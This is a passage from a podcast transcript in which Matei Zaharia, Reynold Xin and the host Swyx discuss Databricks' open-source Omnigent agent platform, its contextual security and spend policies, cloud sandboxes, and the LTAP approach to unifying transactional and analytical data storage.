Genie on the research team, which I lead. We also build a lot of internal ones for various things, and then we have all the customer ones. And all of them running into this thing of like, “Oh, I need to switch model and harness and so on,” every few months. Plus the agent is, like, completely useless if you can't share sessions with someone and have history and have search and all this, like, layer on top of it for collaboration. I thought a bit about it from both contexts and, at first people thought it was weird. They're like, “Why are you doing coding agents and custom agents in the same thing?” But I said it's, it's the same problems and, you just wanna build the stuff that lets you deliver the agent, maybe control it if you care about security, and, make it portable across things. And then we prototyped some things as experiments. We saw, yeah, we can make it work, and then we built that for real.Swyx [00:04:06]: I'm wondering if this let's call it architectureMatei Zaharia [00:04:11]: YeahSwyx [00:04:11]: maps to anything in your careers in the past. like I always think about how a lot of things just tie back to operating systems.Swyx [00:04:18]: A lot of operatingMatei Zaharia [00:04:19]: YeahSwyx [00:04:20]: systems tie back to databases,Matei Zaharia [00:04:21]: SoSwyx [00:04:21]: or the other way aroundMatei Zaharia [00:04:22]: so the thing, I do think it ties a lot to, like, network protocols, internet protocol. we alsoSwyx [00:04:29]: Communication between entities.Matei Zaharia [00:04:30]: Yeah. We did stuff with, like, data sharing also, which is probably, most viewers probably won't know unless they'Swyx [00:04:36]: Yeah, open protocol is the term.Matei Zaharia [00:04:37]: Yeah.Swyx [00:04:38]: Open sharing. Open sharing.Matei Zaharia [00:04:38]: Open sharing.Swyx [00:04:39]: Yes.Matei Zaharia [00:04:39]: Yeah. So it's like you have a company, you maintain some table, like let's say like a Walmart or something. They have like the, inventory and what's been sold in each store. And then you also have suppliers, and they would love to produce more things and ship them, like, exactly the moment you need them. So they would love, like, real-time access to your table. So instead of like sending emails around or Excel sheets or phone calls, why can't you share like a view of that table in real time with them? Then they query, they, join it with their data, and they decide what to send. So it's one of these things where you, like you might ask like today since we can vibe code anything so fast, why do we even need to design like protocols or APIs or software? Why can't you just vibe code things on demand? But for this type of interoperability where multiple parties that are moving at different speeds are building stuff and you still want some layer on top to coordinate, you do wanna design it and build it. So it reminds me of that, like agents talking to each other and, users talking to agents and tools.Agent Clouds, Cloud Sandboxes, and Keeping Sessions AliveSwyx [00:05:42]: Reynold, any other comments alternative viewpoints?Reynold Xin [00:05:46]: I think, by the way, we had a debate on exactly which set of benefits would, matter a lot, and I think around the time we decided to do this thing I was telling Matei, “Hey,” it just happened to be there's a particular week that I was coding nonstopSwyx [00:06:00]: from the moment I woke up to, like, the moment I went to bed, I was, like, looking at my Claude sessions, my Codex sessions. And one of the things that was particularly annoying was having to keep my laptop open.Swyx [00:06:12]: I was driving to a doctor's appointment, and I remember because I wanted to make sure the whole thing continues working.Matei Zaharia [00:06:18]: But by the way, it's so comforting to hear you say that because I'm like, “I don't know if I'm a clown and I'm doing this or like.”Swyx [00:06:25]: Yeah. Like honestly, I was driving and I was tethering my laptop to my phone.Matei Zaharia [00:06:29]: huh.Swyx [00:06:29]: Keeping it on the side. Whenever I hit a red light, I started looking at what's going on my laptop.Matei Zaharia [00:06:35]: Yeah.Swyx [00:06:35]: And I just felt that was ridiculous.Matei Zaharia [00:06:37]: Yeah.Swyx [00:06:37]: It felt like we went back to the dark agesMatei Zaharia [00:06:39]: YeahSwyx [00:06:40]: programming. the productivity you gain from all this coding age is amazing, but, yeah.Matei Zaharia [00:06:45]: Have you heard of cloud?Swyx [00:06:47]: Yeah.Swyx [00:06:48]: It was crazy to me.Matei Zaharia [00:06:49]: Oh, the thing you were working on was the sandboxes or was this before that?Swyx [00:06:52]: It was a sandbox.Matei Zaharia [00:06:53]: Okay.Swyx [00:06:54]: I was workMatei Zaharia [00:06:54]: So you were inSwyx [00:06:55]: So I was approaching from a very different angle. I wanted to, “Hey, we're gonna have cloud sandboxes that doesn't shut down. You can get one very quickly,” but not just for running agentic sessions.Matei Zaharia [00:07:06]: Yeah.Swyx [00:07:06]: It's also for running development. So I was personally building that week, and through building that, I ran into all these issues, and then I wroteMatei Zaharia [00:07:15]: YeahSwyx [00:07:15]: a document for Matei, it's like, “Here's my wish list of what the actual environment should do.” And I think he ended up almost implementingMatei Zaharia [00:07:22]: YeahSwyx [00:07:22]: every single one of them.Matei Zaharia [00:07:23]: Yeah, I remember Reynolds saying, ‘cause my first prototype of this had just chats with your agent and he said, “I have to be able to open a shell, like my own shell and like list files and like tail them and stuff.” SoSwyx [00:07:36]: So SSH into a mainframe.Matei Zaharia [00:07:37]: Yeah. it has that now.Swyx [00:07:39]: Tailing my log.Matei Zaharia [00:07:40]: Yeah.Matei Zaharia [00:07:41]: Yeah.Swyx [00:07:41]: And also another thing I think I asked was, I had. I still use cursor for the sole purpose of rendering markdown files.Matei Zaharia [00:07:48]: huh. Yes.Swyx [00:07:49]: So I said, “If you just give me a way to see my markdown files and renderMatei Zaharia [00:07:53]: YeahSwyx [00:07:53]: them properly, I don't need a separate tool anymore.”Matei Zaharia [00:07:55]: Yeah.Swyx [00:07:56]: And I think you also built that in.Matei Zaharia [00:07:57]: Yeah, we, yeah, we did that, yeah. Yeah, we had a lot of engineers building, their own vibe coding setup. But then the other thing they all said is like, “Hey, I built something that's amazing for me, but, like, no one else on the team can use it ‘cause I don't have a server to collaborate.” And this is why we tried to set up, Omnigent, so you can have a server and have the security, set up in there. So, like log in with Google or whatever and, like securely share stuff. which. And that's where we've seen a lot of other agents like hit things. Like people think they prototyped an awesome agent, but it's not allowed to connect to like some really important data or whatever because of the security team.Omnigent Architecture, Open Source, and Common APIsSwyx [00:08:38]: Yeah.Matei Zaharia [00:08:38]: So yeah.Swyx [00:08:39]: Yeah. At this point, so for those watching along on YouTube, we're gonna putting up a image of the structure here, and we can talk a little bit of the architecture. I think I just want to have people understand, ‘cause like when we're talking about software, it can be very abstract and like here is what we're talking about. You've worked out in open source this entire platform and there's a runner component and server component with a uniform API that you've, you've figured out. any other element and obviously you can plug in all this, persistence layers and compute layers. This is a whole cloud. It's an agent cloud.Matei Zaharia [00:09:12]: Yeah. It's, it's got these components to work with it. The, a lot of the action happens like on the machine where you deploy your agent too. So whatever you've got on there, you can run. But yeah, it's, I think it's the minimal thing you want to have hosted, like collaborative agents and to have that server. And one of the reasons we open sourced it is, anyone building agents, this gives them an app they can start with and customize, which we were seeing in Databricks too. Like someone would make a nice, agent app and then other teams would ask, “Oh, can I just use yours for my agent?”Swyx [00:09:45]: Yeah, I think we had like five or six different agentic frameworksMatei Zaharia [00:09:48]: YeahSwyx [00:09:48]: built by every different team. They do all do more or less the same thing. Yeah, you need to. people wanna take something that works in Forkit, and you might as well have something open source. Yeah, which also was another question, which is interesting for Databricks. Like what do you choose to open source? What do you choose to make it proprietary? It's in. this goes back to Spark, right?Matei Zaharia [00:10:05]: Yeah.Matei Zaharia [00:10:06]: One, so one of the reasons to open source something is if you think it's a layer that will there'll be some network effect, it'll benefit from many, people collaborating, on it. So, for example, with Spark, I don't know if when Spark came out, we also focused a lot on letting you have libraries on top. So like there used to be differentSwyx [00:10:28]: EcosystemMatei Zaharia [00:10:28]: distributed computing engines for like machine learning and graph computation. We said they should all be libraries that you can compose. And we made it super easy to add connectors to data sources too. And then we benefit because, we don't have the time to write like connectors to like, 1,000 like different databases and file formats, but we can just use the ones people make, and of course they benefit from joining, this thing. So that's like one of these as it. Another way to think about it is like imagine, we our thing wasn't open. We had some agent hosting thing, but it's not open and then there is an open one. if you're. Which one's gonna win in the long run? So like here, because there is this benefit from like people writing integrations, it'll be, it'll be that. And then there are other things that like you just can't, even deliver as open source that are things the company does. Like for example, how do you make sure you're like streaming, jobs or your Lakebase database doesn't like, lose all your data at night? Well, that requires an operational team that's gonna sit there. There's no way it has to be a service. So like we wanna make sure as a company we're really good at those infra services and then we're as open as we can in terms of like what you build on top.Swyx [00:11:42]: speaking from a benefits, I think we are already seeing pull requestsMatei Zaharia [00:11:45]: YeahSwyx [00:11:45]: of all kinds of ecosystem integration, even though it was only released on Saturday.Matei Zaharia [00:11:50]: Yeah, Saturday. Yeah. So someoneSwyx [00:11:51]: Let's see, let's see what's going on. Yeah, you can look at the merge ones. I asked Sam Nigon this morning aboutMatei Zaharia [00:11:59]: 400 merge already?Matei Zaharia [00:12:00]: Yeah. I think Recent quite, I would guess around half are not from our team. but for example, someone added support for running it on Kubernetesrnetes. people added, many cloud sandboxes, so this can launch a cloud sandbox and run your agent in there, which is great for sharing too, ‘cause it's not, like, on your laptop and someone's, like, running scary code on there. so yeah, many startups have put those in, and, we expect to see more of them. We also have more agent harnesses already. Cursor, CLI, and Antigravity also.The Modern Data Stack and the Emerging AI StackMatei Zaharia [00:12:34]: Yeah. That's all, beautiful. And I, I feel like the last time this happens, there was the rise of the modern data stack.Matei Zaharia [00:12:42]: I don't know if it's that useful. I'm, I'm curious in your postmortem.Matei Zaharia [00:12:46]: I think most peopleSwyx [00:12:47]: AgreeMatei Zaharia [00:12:47]: will agree that it is finally dead. but maybe this arises to a new modern AI stack that, like, does the same thing.Matei Zaharia [00:12:52]: I don't know.Reynold Xin [00:12:54]: I think the modern data stack was a pretty useful thing, probably even up until this day. I think what, maybe for the audience who don't understand the history, I think the modern data stack is effectively decomposed into you need a layer to ingest the data in, you need a layer to transform your data, and then all of this are run, and then you need a layer to maybe visualize your data. And all of this runs on some data warehouse, or later on, as we're doing data warehouse or lakehouse.Reynold Xin [00:13:21]: I think that concepts are all very powerful and very useful. They enable a lot of workloads. What people eventually run into is a question of unification and consolidation is, hey, do you really need to chop all this into different pieces and work with so many different vendors and platforms in order to get, like, a very simple visualization done, right? So I think, like, over time, everybody started realizing that customers are pushing us. We started, we can realize that, so we started building more and more capabilities and trying to consolidate. And at the end of the day now, customers don't have to worry about having me hook up five different systems in orderMatei Zaharia [00:13:55]: YeahReynold Xin [00:13:55]: produce a chart. But the. I think, honestly, something like this is probably happening, in how many different frameworks do you want to hook up together in order to produce, like do a very simple agent.Matei Zaharia [00:14:06]: Just to be clear, I would say the core of this is this common API on top of all the harnesses. So the API is like, you've got an agent session, and you can send in a message or, like, a file. That's what you can send in, and then you get out, these streams as it's streaming text or as it's doing tool calls. And, or the other thing you can send in is you can, like, tell it to cancel a turn. So that's the API. Now, the thing we did is we could get you that on top of, like, cloud code running in a terminal, Codex, Py, OpenAI SDK, all that stuff. We map them all to that same interface. So that is something that you'd have to maintain yourself if you built your own, like, agent orchestrator, and then whenever cloud changes its API, you gotta, tweak your thing or it's gonna lose some messages. So that's the thing that's valuable to maintain. Then on top of that, like, we built a few apps. I think we built a pretty cool UI and stuff, but that's, And we built a security and control piece, which I'm excited about. But it's that common interface, so we don't. We. That doesn't try to be a stack. And in fact, you could plug in your own UI on top of this, server. That, and that's one of the use cases we care a lot about, ‘cause we want to use this in our own products.Compute, Sandboxes, and Databricks ScaleSwyx [00:15:20]: Yeah. It should be everywhere.Matei Zaharia [00:15:22]: Yeah.Swyx [00:15:22]: I think one of those things that is really interesting to me is, like, well, first of all, I'll, I'll endeavor to do everything and not call it the modern AI stack because like it needs a different name.Matei Zaharia [00:15:32]: Yeah.Swyx [00:15:32]: But like, yes, like, so one of the first people that told me about compute, sandboxing was Nikita from Neon.Swyx [00:15:39]: Because a lot of people think about Neon as like, well, it's serverless Postgres with, like, the separation of compute and storage and, instant branching and all those things. But every database company is also a compute company.Matei Zaharia [00:15:51]: Yeah. Yeah.Swyx [00:15:52]: And so he was showing to me his whole, his sandboxing solution. I don't think he have ever launched it.Matei Zaharia [00:15:57]: So our sandbox solution, the reason we could build it so quickly was because we realized if you just take the actual Lakebase architectureSwyx [00:16:05]: YeahMatei Zaharia [00:16:05]: and remove the database from it, by the coming from NeonSwyx [00:16:08]: Exactly, rightMatei Zaharia [00:16:09]: you have this sandboxSwyx [00:16:09]: Every database company has it already, yeah.Matei Zaharia [00:16:11]: Now, there are some differences. For example, in the one to support this particular workflow, it's important to have local persistence,Swyx [00:16:19]: YeahMatei Zaharia [00:16:19]: because you want your state to persist. Your libraries, you don't have to install your library every time, right?Matei Zaharia [00:16:24]: whereas the Neon architecture, because of the separation of storage from compute, you don't need persistent local disk.Swyx [00:16:30]: Yeah.Matei Zaharia [00:16:30]: So there's some differences.Swyx [00:16:32]: Yeah.Matei Zaharia [00:16:32]: But the, at the end of the day, yeah, it's, Yeah, so this is when you run, like, a coding sandbox. Like, if I use it, yeah, we have the dev env internally at Databricks. There's, like, many, like, tens of gigabytes of data just for, like, all the source code and, like, artifacts and stuff that I built, and I want that to come back next time, so.Matei Zaharia [00:16:51]: Yeah.Matei Zaharia [00:16:51]: But yeah.Matei Zaharia [00:16:52]: Before the show, we was talking about some statistics that might be surprising at the adoption.Matei Zaharia [00:16:56]: It could be internal, it could be external, whatever comes to mind, just to impress people the scale this is happening.Swyx [00:17:02]: So we, on the analytics side, I think we launchedReynold Xin [00:17:06]: Maybe 50 or 60 million virtual machines a day across all three clouds, so we're one of the biggest compute orchestrators out there.Reynold Xin [00:17:13]: Stuff for sure for CPU compute.Swyx [00:17:14]: Yeah.Matei Zaharia [00:17:14]: Yeah.Reynold Xin [00:17:15]: the. And all of this process, I think exabytes of data, I joked about depending on which time zone you are, typically before you have breakfast, Databricks would have processed exabytes of data already on that day. and on Neon, it's pretty interesting, too. It's launching, I think, 13 million databasesSwyx [00:17:34]: YeahReynold Xin [00:17:34]: a day now.Swyx [00:17:35]: Yeah, to me that was, like, aReynold Xin [00:17:36]: And that's just likeSwyx [00:17:37]: Like, what do you mean?Matei Zaharia [00:17:38]: Yeah. And that's the point.Reynold Xin [00:17:40]: And a lot of those were thanks to agent- agents and branching experimentationSwyx [00:17:44]: YeahReynold Xin [00:17:44]: because we made it so easy and so quickly, and thanks a lot to Nikita's team, to launch databases. It's, the. So it's changing the way people use databases.Swyx [00:17:54]: Yeah. Okay, we're gonna go into more database talk in a bit, but I wanna make sure we close up anything on Omnigentt. you mentioned, you were excited about the securityOmnigent Security, Contextual Policies, and Spend ControlsSwyx [00:18:03]: control side.Matei Zaharia [00:18:04]: Yeah.Swyx [00:18:04]: a lot of companies are figuring that out right now, as well as the spend side.Matei Zaharia [00:18:08]: Yep.Swyx [00:18:09]: what have you found there?Matei Zaharia [00:18:11]: Yeah, so I spent quite a bit of time talking to internal users, developers, security team, managers, and also lots of customers, and there's a few things. Like, first of all, one thing, that immediately was. became obvious is for security, there's this tension between, like, usability and security. And, the way people do. Like, a lot of coding agents today have very basic things like you can tell me which tool patterns I'll allow or disallow or whatever. It's like yes or no. But that puts you in a very tough spot. So just as an example, like, should my agent be able to read, some confidential documents, or let's say, should it be able to install new packages from npm, which, maybe it's compromised. Yes or no? Like, maybe I wanna allow it. Should my agent be able to publish stuff to the company website? Well, if I'm using it to code on the website, yes. But should it be able to do both, so it can, like grab a confidential document and be prompt injected and leak it? Probably not. So the thing we decided we need is stateful or what we call contextual policies where you keep track of the state of that session. It's not like is it allowed to push to the marketing site or not, but, like, hey, if it did a risky thing, like it installed, a old package from npm, or it read, like, 1,000 confidential docs, then no. Then don't, don't do it. Otherwise, maybe it's okay. That's one example of, like, moving that trade-off so it's both more secure and more useful by having a more powerful engine, essentially. This requires tracking sessions. The other piece that was interesting there is, like, there are these very level events it's doing, and you want some libraries on top that parse them. Like, for example, we have a, MCP server on Google Drive internally. It's got 60 API calls. like, how do I know which of those, like, will share a document with stuff on the internet and which ones won't? It's, it's annoying. So we designed in Omnigentt the policy layer so that it's functions and you can have libraries. Like, someone can make something that maps the level events to high-level ones, and then you write a policy about the high-level things that came out. so and thatSwyx [00:20:25]: This is related to the Panther,Matei Zaharia [00:20:27]: Yeah, Panther is. will help with that. PantherSwyx [00:20:30]: YeahMatei Zaharia [00:20:30]: a similar idea on the event processing side, and it's Python-based versus a weird custom language. this is more, as in realSwyx [00:20:39]: I didn't even know we were good yeah.Matei Zaharia [00:20:41]: Those things are happening, yeah.Swyx [00:20:42]: Yeah.Matei Zaharia [00:20:42]: So yeah, but these are the cool things. I think the contextual or stateful part, and then the way it can be libraries, and that was another reason to make it open source because others will write libraries and, like, we and our customers can use them. And the final thing, because it's stateful, one of the states we track is how much you spent in that session. So I can. I've had, like, I ask an agent to debug something, and it spent $500 because it decided to read a lot of log files and burn a lot of tokens. but I can literally say, “Okay, launch a agent to do this and cap it to spending $5.” Like, ask me for permission if it needs more. And because we're counting that within that session, it'll pop up and tell me, “Okay, you spent five, $5. Do you wanna go on?”Reynold Xin [00:21:27]: So important context here. Matei spent the last five years, a lot of his time was architecting Unity Catalog at DatabricksMatei Zaharia [00:21:34]: YeahReynold Xin [00:21:34]: which is the governance layer for data.Matei Zaharia [00:21:35]: That's right, yeah.Reynold Xin [00:21:36]: And he's combining expertise at that layer together with all the AI governance he knows.Matei Zaharia [00:21:41]: Yeah.Swyx [00:21:41]: DoMatei Zaharia [00:21:41]: But I also spent a lot of time being annoyed by coding agents and getting prompts.Matei Zaharia [00:21:46]: And also as theReynold Xin [00:21:48]: All the aboveMatei Zaharia [00:21:48]: I don't want to end up on the front page as, like, I installed some weird npm package and leakedSwyx [00:21:53]: YeahMatei Zaharia [00:21:53]: all the code, so I'm especially paranoid. But also I have very little time, so I don't want to sit there approving, like, do you want to run a 20-line, bash script, yes or no? so that's why I spend a lot of time figuring out, like, how can I make it as safe as possible and not annoying?Swyx [00:22:10]: Yeah. Is safety and mmm, let's call it security a bigger concern than token maxing or token budgets? which one is, likeMatei Zaharia [00:22:19]: Oh, yeah, they're both there. I don't know. I guess it depends on the type of company you are. So I think, some companies, like, the budget is, limited and, they really care about thatSwyx [00:22:34]: you can be Uber and still be concerned?Matei Zaharia [00:22:36]: Yeah. Oh, yeah, totally. Yeah. If you haveReynold Xin [00:22:38]: for us, securityMatei Zaharia [00:22:39]: YeahReynold Xin [00:22:40]: super paramount.Matei Zaharia [00:22:40]: For us, security is absolutely critical as a, cloud provider. It's, it's the most important thing, and, token maxing, we're not so worried about it yet, but I've seen the Like, for example, I talked to some consulting companies. They have, like, 100,000 employees who are all coding for customers. If those each spend, like, an extra $1,000 a month, that's, that's not fun.Swyx [00:23:04]: YeahMatei Zaharia [00:23:04]: we have, like, only a few thousand engineers.Swyx [00:23:06]: What's the policy in Databricks? Is it just unlimited or what'Matei Zaharia [00:23:08]: It's, it's unlimited, but we do. we use our own product to, like, analyze the traces and stuff, and we have a team that'looking to optimize and to see if anyone's doing something weird. And, we had some really cool insights just from analyzing current traces, like whichSwyx [00:23:24]: YeahMatei Zaharia [00:23:25]: models are better at, say, Rust versus like TypeScript or whatever. So yeah, at least in our code base.Swyx [00:23:31]: Yeah. Amazing. Obviously, I have to ask the token question, obviously.Matei Zaharia [00:23:34]: Yeah.Swyx [00:23:34]: I think it'sReynold Xin [00:23:34]: YeahSwyx [00:23:34]: it's a key thing. But yes, security and control above that, and figuring out a sane layer there you can have some autonomy, but, not too much.Matei Zaharia [00:23:43]: Yeah. Yeah, and we wanna make it super easy. As a engineer, you should set a thing. So in Omnigentt, you can ask your agent, “Set a policy on yourself to do this.” So it can likeSwyx [00:23:52]: But if there's something I should be showingMatei Zaharia [00:23:53]: YeahSwyx [00:23:53]: I don't, I don't see it on the GitHub, but,Matei Zaharia [00:23:55]: Oh, yeahSwyx [00:23:56]: there's justMatei Zaharia [00:23:56]: Well, in the docs there's something.Swyx [00:23:57]: Yeah, this is it.Matei Zaharia [00:23:58]: You can look at it later.Swyx [00:23:59]: Okay. Yeah.Matei Zaharia [00:23:59]: Just look in the docsSwyx [00:24:00]: YeahMatei Zaharia [00:24:00]: contextual policies if you wanna see.Swyx [00:24:04]: I just like to point peopleMatei Zaharia [00:24:05]: look at the built-in policies.Swyx [00:24:06]: Yeah.Reynold Xin [00:24:06]: Yeah.Swyx [00:24:06]: If you want to, follow up on this is exactly where to look, right?Reynold Xin [00:24:10]: Yeah.Matei Zaharia [00:24:10]: Yeah. yeah, and the story of these is, like, I just wrote, like, I wrote a doc with like 10 ideas for things before as you were working on them. Well, that was, like, my wish list of things people asked, and I told the team, like, “Hey, can you do like at least five of these for the launch?” And then they just got back with all of them, so.Swyx [00:24:29]: Oh, wow.Matei Zaharia [00:24:29]: so you can come up with more, but them- some of them are just meant to be examples. really you can intercept, like, any event the agent is making, and you can then either block or force it to ask the user or, like, allow, and you can update state to keepSwyx [00:24:45]: YeahMatei Zaharia [00:24:45]: track stuff.Swyx [00:24:46]: Yeah, ‘cause ultimately you're, I think of you as, like, a systems designer.Swyx [00:24:50]: You let people plug in, right? That's the wholeMatei Zaharia [00:24:51]: YeahSwyx [00:24:52]: modus operandi of what you do.Matei Zaharia [00:24:53]: Yeah.Swyx [00:24:54]: It's likeMatei Zaharia [00:24:54]: And we care a lot about also composab- like, can someone else write a library that others use, whichSwyx [00:24:59]: YeahMatei Zaharia [00:24:59]: this is meant to.Reynold Xin [00:25:00]: There's also a batteries included philosophy hereMatei Zaharia [00:25:03]: YesReynold Xin [00:25:03]: probably very similar to how you did Spark, which is you could just start using.Swyx [00:25:06]: Yeah.Matei Zaharia [00:25:06]: Yeah, that's right. It has to be good out of the box at certain things, and then you can build your own things on top that, like, we don't wanna do. But in Spark, if you just wanna like, I don't know, like read a table or do, like, a aggregation, it should be awesome at that out of the box.Building on Omnigent: Contributions, Startups, and AnalyticsSwyx [00:25:23]: Yeah. People wanna catch up on Omnigentt, they should watch your keynote.Swyx [00:25:26]: they should go through the GitHub and the docs. If they wanted to contribute, or they want to build on this ecosystem what would you call out as the most high-leverage places get involved?Matei Zaharia [00:25:36]: Yeah, do get involved in the Discord and in GitHub. Our team is there, is monitoring, and, some of the things people ask for we just built ourselves. Some of them, we're, we're collaborating with them to build it. and also tell us, likeSwyx [00:25:49]: Yeah, they're gonna be veryMatei Zaharia [00:25:49]: how you would like to use it because I think especially for developers, like, everyone wants it to work their own way, and a really good developer tool, like you have to hear the feedback on all the ways and figure out the abstractions and how to let people customize. So we'd love to hear, like, if you think, “Hey, I, I don't want it to work this way,” tell us. We really just wanna get that compatibility layer across agents and then let you do stuff on top.Swyx [00:26:14]: Yeah. is there any, in terms of like the startup side, I'm, I'm a founder.Swyx [00:26:18]: I wantMatei Zaharia [00:26:18]: YeahSwyx [00:26:18]: I see an opportunity, I wanna get in front of you. What's your request for, like, a startup that, like, I wish someoneMatei Zaharia [00:26:23]: Oh, like you wanna integrate with us?Swyx [00:26:24]: someone was working on this.Matei Zaharia [00:26:26]: Oh, for a startup?Swyx [00:26:27]: Yeah.Swyx [00:26:28]: Like, your, you got your own startup. It's doing well.Matei Zaharia [00:26:30]: Yeah.Swyx [00:26:30]: But like, if you weren't working on your own startup, what is, like, obvious that you should You advise many startups too, obviously.Matei Zaharia [00:26:37]: I do think, just as a company with a lot of engineers, like anything that helps me make sense of how people are usingSwyx [00:26:46]: SpendMatei Zaharia [00:26:46]: coding agents and,Swyx [00:26:48]: Yeah. AnalyticsMatei Zaharia [00:26:48]: spend, but also quality or like you should write, you should add this skill, or you should write this thing, or your agents are really horrible at tasks involving this service, so I go spend time. That would be nice. yeah.Swyx [00:27:00]: Yeah. The closest I've found is, this team, GitAI.Matei Zaharia [00:27:03]: Oh, cool. Yeah.Swyx [00:27:04]: They started with, like, we will just do, code and human attribution, but they're building the analytics layer on top of that.Matei Zaharia [00:27:12]: Yeah.Swyx [00:27:12]: I do think, like, there are a bunch of, like, artificial analysis is obviously,Matei Zaharia [00:27:18]: Yeah, they have their benchmarksSwyx [00:27:18]: doing super wellMatei Zaharia [00:27:19]: YeahSwyx [00:27:19]: with their stuff. so there's, there will be people. I think this is like the domain of consultants first, but then peopleMatei Zaharia [00:27:26]: YeahSwyx [00:27:26]: will build software that, let's say, it's kinda like the management planeMatei Zaharia [00:27:29]: YeahSwyx [00:27:30]: for coding agents.Matei Zaharia [00:27:30]: Yeah, I think there'll be a lot of insights there. You have it in other areas.Swyx [00:27:34]: Okay. Well, and then the other, big thing is your dream engine.LTAP: Lake Transactional/Analytical ProcessingSwyx [00:27:39]: maybe you wanna tell the story of, LTAP.Reynold Xin [00:27:45]: So, and background with. I'm, I'm gonna make people listen to our Ankur Goyal episode where we talked about SingleStore, HTAPMatei Zaharia [00:27:52]: YeahReynold Xin [00:27:52]: and all that history.Matei Zaharia [00:27:52]: Yeah. The LTAP idea is pretty simple. so if people have heard of the, Ankur's, talk about HTAP, it's effectively the world of databases. Sorry, there's like maybe a lot of context needs to be injected here. The world of databasesSwyx [00:28:06]: I am happy to be the database podcast that I'm forcing people to, like, learn your databases, guys.Swyx [00:28:11]: You cannot vibe code with just markdown files.Reynold Xin [00:28:13]: Yeah.Swyx [00:28:13]: Like,Reynold Xin [00:28:14]: It's one of the most important fundamental systems technologies out there. But the world of database effectively split into roughly two halves. There's what we call OLTP databases, which are transactional, and think of your Postgres, your MySQL, your Oracle databases, and the other side is what we call analytics, and sometime might refer to term OLAP. And the difference is on OLTP, you typically have maybe run some transaction on some event that looks up at one specific row. We update that row, right? It's a very oriented data structure. And on analytics, you're trying to reason on the data. You're trying to compute, “Hey, what's my revenue per store? What's my. How's my website doing every day?” And then you, eventually want to probably end up running anal- machine learning on it to predict, “Hey, how will my maybe sales be going in the future?” they are so very different architecture, and everybody start with OLTP databases. Every app, when you become serious enough, that needs more than markdown files, you need to have a database. You want to lose your data, you want to have some transactional consistency. But once you want to reason on the data, if you only have like- A hundred rows, it's probably okay to run it on your Postgres or your own, your MySQL database. But once you have more data and want to run more complicated analysis, the very analysis might crush your Postgres database. So you start doing, getting data out of the OLTP databaseSwyx [00:29:35]: Replication.Reynold Xin [00:29:36]: Replicate them into the analytic systems and just startSwyx [00:29:39]: Yeah, which for people, Elasticsearch is, like, aReynold Xin [00:29:42]: Yeah. So some of them get into Elasticsearch for, like, blocked analysis. A lot of our customers obviously get into Databricks to run more sophisticated things.Swyx [00:29:51]: Yeah.Reynold Xin [00:29:51]: And there's this term called CDC, whichMatei Zaharia [00:29:54]: Change data captureReynold Xin [00:29:55]: change data capture. and what it does, it reads the binlog of the database, and if you don't understand what binlog is, it's fine. The, but it's a little delta of the data, and it reconstructs based on the delta, the state of the database, on the analytics side. But CDC is, like, a very painful thing. It's how standard in the industry, everybody uses it, but, it ends up being. I think many data engineers ends up being waken up at, like, 3:00 a.m, because there's some pipeline thing.Swyx [00:30:22]: my explanation is, like, Airbyte is like a, became a $5 billion company just doing CDC.Reynold Xin [00:30:27]: Yeah, exactly.Reynold Xin [00:30:28]: CDC is, like, a veryMatei Zaharia [00:30:30]: It's hard.Reynold Xin [00:30:30]: It's one of the most boring but one of the most fundamental operations, like, powering modern society.Matei Zaharia [00:30:37]: huh.Reynold Xin [00:30:37]: But it's so brittle that, we joke that it's, should be called continuous data corruption, because you might change your schema on your OLTP database, and then the CDC pipeline fails to handleSwyx [00:30:48]: YeahReynold Xin [00:30:48]: the schema change.Swyx [00:30:49]: Yeah.Reynold Xin [00:30:49]: And then everything goes out.Swyx [00:30:51]: And there's all sorts of tricks that you can do, like, you add in, like, some versioning or whatever, but yeah.Reynold Xin [00:30:55]: Yeah, but it's a very, in general, very complicated. Like, I think at my keynote, I asked the audience put up their hand if they love their CDC pipeline. Only, like, maybe two people put it up. So if single store, like, about maybe a decade ago, I think the industry had this idea, hey, what if I built a single database that can handle both workloads? Now I don't.Swyx [00:31:12]: Which, like, by the way, every database person ever has ever always dreamed about this.Reynold Xin [00:31:15]: Yes. Yes.Reynold Xin [00:31:16]: This is the holy grail of database engineering is why not build a single system that can do both of this? But it ends up just being a lot of compromises. one, I think one of the first issue is that, hey, each. they say Postgres has a massive ecosystem, right? You want to be using the tools that's built for Postgres. And Spark, for example, had a massive ecosystem. There's a lot of libraries you want to use. If you were to create now a new thing, you don't have a ecosystem. You tend to create a new, smaller proprietary API, and you're lacking both, and it's also very difficult to make it performance-wise to be, comparable on either side. So it ends up being sucking on both. And our whole idea of LTAP, it's obviously a wordplay on the term HTAP, is that we think this is HTAP done right. HTAP wants to build a single engine for both. We think you can get 99% of what you need by unifying the storage, and just have a single storage layer. And once you have the single storage layer, if your Postgres databases are writing data in a column-oriented format, everything analytics can just go read that data directly without any delay, right? There's no pipeline in between, so all the data will immediately be available for reasoning analytics. I think I was telling some customers earlier, hey, when we talked about this is gonna be super useful for agents, I at first didn't really believe in it myself, even though we wrote that positioning.Lakebase, Agents, and Live Operational DataMatei Zaharia [00:32:39]: Yeah.Reynold Xin [00:32:40]: But then last night I was having dinner with a Australian customer, and they told me, “Oh, hey, one of the big issue we have is we have all these logs from our services, and we see SLA dips and want to investigate. But then there's no way for those agents to even understand what's going on in the actual databases themselves. All we see is just, like, product telemetry of the database and the services.” It would make those agents 10 times more powerful if understand, for example, who's placing those orders, what is happening, what exactly are they doing. So now I'm sold on our own message.Swyx [00:33:13]: Yeah.Reynold Xin [00:33:14]: I think it's really. It gets you the almost all of the benefits of the HTAP holy grail, which is, hey, make the data available immediately for reasoning analyticsSwyx [00:33:26]: Yeah, I think,Reynold Xin [00:33:27]: without compromiseSwyx [00:33:28]: in the way that humans are generally intelligent and want to have the ability and access to query anythingReynold Xin [00:33:34]: YeahSwyx [00:33:35]: while they do the work, they also need history and need context.Swyx [00:33:38]: And, like, where else does they get context? That's it's an analytical workload.Reynold Xin [00:33:41]: Exactly.Matei Zaharia [00:33:42]: Yeah. Yeah. And I remember when we had incidents with our databases and engineers said, “Well, I can't just run a giant query on it to see what's going on because that's gonna bring down the database and hoard it even more.” Like, that's the stuff that this gets rid of, because you spin up a whole separate fleet of machines that's doing the analytics. You're not overloading, like, the main databaseReynold Xin [00:34:02]: RightMatei Zaharia [00:34:02]: that's still trying to serve stuff.Reynold Xin [00:34:04]: Yeah.Matei Zaharia [00:34:04]: Yeah.Why LTAP Works Now: Parquet, Postgres, and LakebaseSwyx [00:34:05]: So this has been a dream for a while. what had to get done in order to get to today? Like,Reynold Xin [00:34:11]: Yeah.Swyx [00:34:11]: I feel like, you have announced variants of this several times, but it wasn't as clear as LTAP.Reynold Xin 